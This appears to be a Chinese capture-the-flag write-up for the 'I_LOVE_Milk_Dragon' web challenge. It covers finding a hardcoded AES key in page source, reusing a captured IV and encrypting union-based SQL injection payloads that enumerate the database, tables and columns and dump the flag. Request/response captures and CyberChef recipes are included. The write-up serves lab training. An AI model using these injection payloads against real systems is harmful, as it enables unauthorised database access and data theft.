

# 25.1I\_LOVE\_Milk\_Dragon

1查数据库

2查表名

3查列名

4查flag

补充

1表名包括问题

2解密之后数据问题

难度：中等

出题人：DDL

考点：javascript代码审计（AES加密原理，会给明显提示）+sql注入（无过滤）

hint:flag不在环境变量中

题目镜像:crpi-od6n6pziphyfcwhy.cn-hangzhou.personal.cr.aliyuncs.com/ddl08/01:21

RDCTF{test}动态插入

若出现数据库无法连接如Connection failed: Can't connect to MySQL server on '127.0.0.1' (111)是由于

**资源限制：**平台的资源限制（如内存、磁盘空间等）可能影响 MySQL 服务的正常启动。存储限制改为 400就够了

The screenshot shows a configuration interface for a challenge. At the top, there are fields for '题目分值' (Score), '难度系数' (Difficulty Coefficient), and '最低分比例' (Minimum Score Percentage). A graph on the right plots score against solve count, with a red dot at (1, 1000). Below this, there's a '容器镜像' (Container Image) field containing the URL 'crpi-od6n6pziphyfcwhy.cn-hangzhou.personal.cr.aliyuncs.com/ddl08/01:03'. To the right is a '猜测浏览器' (Guess Browser) button. At the bottom, there are fields for '服务端口' (Service Port), 'CPU 限制 (0.1 CPUs)' (CPU Limit), '内存限制 (MB)' (Memory Limit), '存储限制 (MB)' (Storage Limit), and a '开启流量捕获' (Enable Traffic Capture) checkbox.

WP

每点击一个图片都会去后端查询数据，将查询结果文案并返回结果，如果没有如下回显也可以抓包发现

奶龙的羽毛如丝绸般柔软，它的眼睛闪烁着聪明与善良，给人一种无比亲切的感觉。

Network traffic captured in a browser developer tools Network tab:

- POST http://110.40.41.206:32862/2.php [HTTP/1.1 200 OK 131ms]
- GET http://110.40.41.206:32862/favicon.ico [HTTP/1.1 404 Not Found 131ms]
- POST http://110.40.41.206:32862/2.php [HTTP/1.1 200 OK 133ms]
- POST http://110.40.41.206:32862/2.php [HTTP/1.1 200 OK 129ms]

在index.html(刚进入题目环境的奶龙图片页面)查看页面源代码有aes加密的key, iv可以看到是随机生成的, 抓包抓一个就能一直用

```
<!-- 引入 crypto-js 库 -->
<script src="https://cdn.staticfile.org/crypto-js/3.1.9-1/crypto-js.min.js"></script>
<!--You should learn about AES encryption. I use the CBC module here. Also, you must know what base64 encryption is, right? -->
<script>
    const secretKey = "1234567890123456"; // AES 密钥
    const imageContainer = document.getElementById('image-container');
    const contentDiv = document.getElementById('content');

    // 存储图片的类别和路径
    const imageList = [
        {
            category: 'A',
            path: 'http://110.40.41.206:32862/1.jpg'
        },
        {
            category: 'B',
            path: 'http://110.40.41.206:32862/2.jpg'
        },
        {
            category: 'C',
            path: 'http://110.40.41.206:32862/3.jpg'
        }
    ];

```

提示 ↑

```
103          // 生成 IV
104          const iv = CryptoJS.lib.WordArray.random(16);
105
```

然后根据加密原理去抓包加密解密

解密平台（网上在线网站有很多，百度直接搜aes在线解密就有）及连接；图片在本题目wp–补充2里  
(iv根据抓包情况自行修改)

```

1 https://cyberchef.org/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES
 _Decrypt(%7B'option':'UTF8','string':'1234567890123456'%7D,%7B'option':'Bas
 e64','string':'0rTqq57dsuK482Z9p6kWSg%3D%3D'%7D,'CBC','Raw','Raw',%7B'optio
 n':'Hex','string':'%7D,%7B'option':'Hex','string':'%7D)AES_Encrypt(%7B'op
 tion':'UTF8','string':'1234567890123456'%7D,%7B'option':'Base64','strin
 g':'pMj0C8Az6R8%2BivEqzh5MGQ%3D%3D'%7D,'CBC','Raw','Raw',%7B'option':'He
 x','string':'%7D/disabled)To_Base64('A-Za-z0-9%2B/%3D'/disabled)&input=V3N
 sUWNVUE1zWDR0dml4Y1BxKytEQT09

```

随机生成的iv抓包如下可以发现发包有iv数据↓

**Request**

```

1 Host: 110.40.41.206:32862
2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
3 Accept: */*
4 Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2
5 Accept-Encoding: gzip, deflate
6 Referer: http://110.40.41.206:32862/
7 Content-Type: application/json
8 Content-Length: 160
9 Origin: http://110.40.41.206:32862
10 Connection: close
11 Priority: u=0
12
13
14 {
    "encryptedData": "d8Yi7gvoHmdveLOhrXTvhPo5thVQ3iOrkIHMZUSWqv8gga8F5ag+HITSX7pUUafbAVVWbndmmKQRWscBPLG+fvDrutvFMGhAHTYF9LtmJdo",
    "iv": "pMj0C8Az6R8+iEqzh5MGQ=="
}

```

**Response**

```

1 HTTP/1.1 200 OK
2 Date: Sun, 22 Dec 2024 05:39:45 GMT
3 Server: Apache/2.4.7 (Ubuntu)
4 X-Powered-By: PHP/5.5.9-1ubuntu4.29
5 Content-Length: 180
6 Connection: close
7 Content-Type: application/json
8
9
10 {
    "category": "-2'union select group_concat(id2,flag) from `flag` #",
    "content": "two_ai_1ai_long,2\uf4ce\uff0c\ufe0d\uf60f3\ued9\uf60f4,3flag[38c78f898adb48dbad3ef4ac3f9c531d]"
}
11

```

加密连接

```

Plain Text | ▾

1 https://cyberchef.org/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false/disabled)AES_Decrypt(%7B'option':'UTF8','string':'1234567890123456'%7D,%7B'option':'Base64','string':'0rTqq57dsuK482Z9p6kWSg%3D%3D%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':'%7D,%7B'option':'Hex','string':'%7D/disabled)AES_Encrypt(%7B'option':'UTF8','string':'1234567890123456'%7D,%7B'option':'Base64','string':'pMj0C8Az6R8%2BivEqzh5MGQ%3D%3D%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':'%7D)To_Base64('A-Za-z0-9%2B/%3D')&input=eyJXRlZ29yeSI6Ii0yJ3Vuaw9uIHNLbGVjdCBncm91cF9jb25jYXQoaWQyLGZsbGFnKSbmcm9tIChmbGFnKSAjIn0

```

Version 10.5.2 - Sponsored by DEF24.com

Last build: A year ago - Version 10 is here! Read about the new features [here](#)

Operations

- base
- To Base
- From Base
- To Base32
- To Base45
- To Base58
- To Base62
- To Base64
- To Base85
- From Base32
- From Base45
- From Base58
- From Base62

Recipe

Strict mode

AES Decrypt

Key: 1234567890123456    Mode: CBC    Input: Raw    Output: Raw

AES Encrypt

Key: 1234567890123456    Mode: CBC    Input: Raw    Output: Raw

To Base64

Alphabet: A-Za-z0-9+/=

RAKE!

Input: {"category": "-2'union select group\_concat(id,floor) from `flag` #"}  
Output: d8y17gvoHmdveL0hrXTvhPosthvQ310rkIH%2USwqv8gga8F5ag+HTSX7pUufbAVVvbmdmKQR8vscBPLG+fVDrutvFMghAHTYF9ltMdoa

## 1查数据库

```

Plain Text | ▾

1 {"category": "-2'union select database()#"}

```

## 2查表名

```

Plain Text | ▾

1 {"category": "-2'union select group_concat(table_name) from information_schema.tables where table_schema=database();#"}

```

## 3查列名

```
Plain Text |  
1 {"category": "-2'union select group_concat(column_name) from information_schema.columns where table_name= 'flag'#"}
```

## 4查flag

```
Plain Text |  
1 {"category": "-2'union select group_concat(id2,fllag) from flag #"}  
2 或者  
3 {"category": "-2'union select group_concat(id2,fllag) from (flag) #"}
```

## 补充

### 1表名包括问题

在 SQL 查询中，表名（如 `flag`）通常不能直接用单引号包围，因为单引号在 SQL 中是用来表示字符串文字的，而表名、列名通常应该不被单引号包围。

如果你想引用一个表名或列名，并且表名或列名包含特殊字符或是关键字，应该使用 反引号 (``)

而在查列名过程中

`table_name= 'flag'`

是因为=比较，是把flag当作字符串去查询

### 2解密之后数据问题

`{"category":1} //数字的json数据加不加双引号都可以，字符串必须加双引号`

The screenshot shows the BAKE! tool interface. The main focus is the 'AES Decrypt' section. The 'Input' field contains the base64-encoded string 'Ws1QcoPMsX4tvixcPq++DA=='. The 'Key' field is set to '1234567890123456'. The 'Mode' field is set to 'CBC'. The 'Output' field displays the decrypted JSON object: `{"category":1}`. Below this, there is an 'AES Encrypt' section with similar fields. At the bottom, there is a green button labeled 'BAKE!' with a chef icon, and a checked checkbox for 'Auto Bake'.

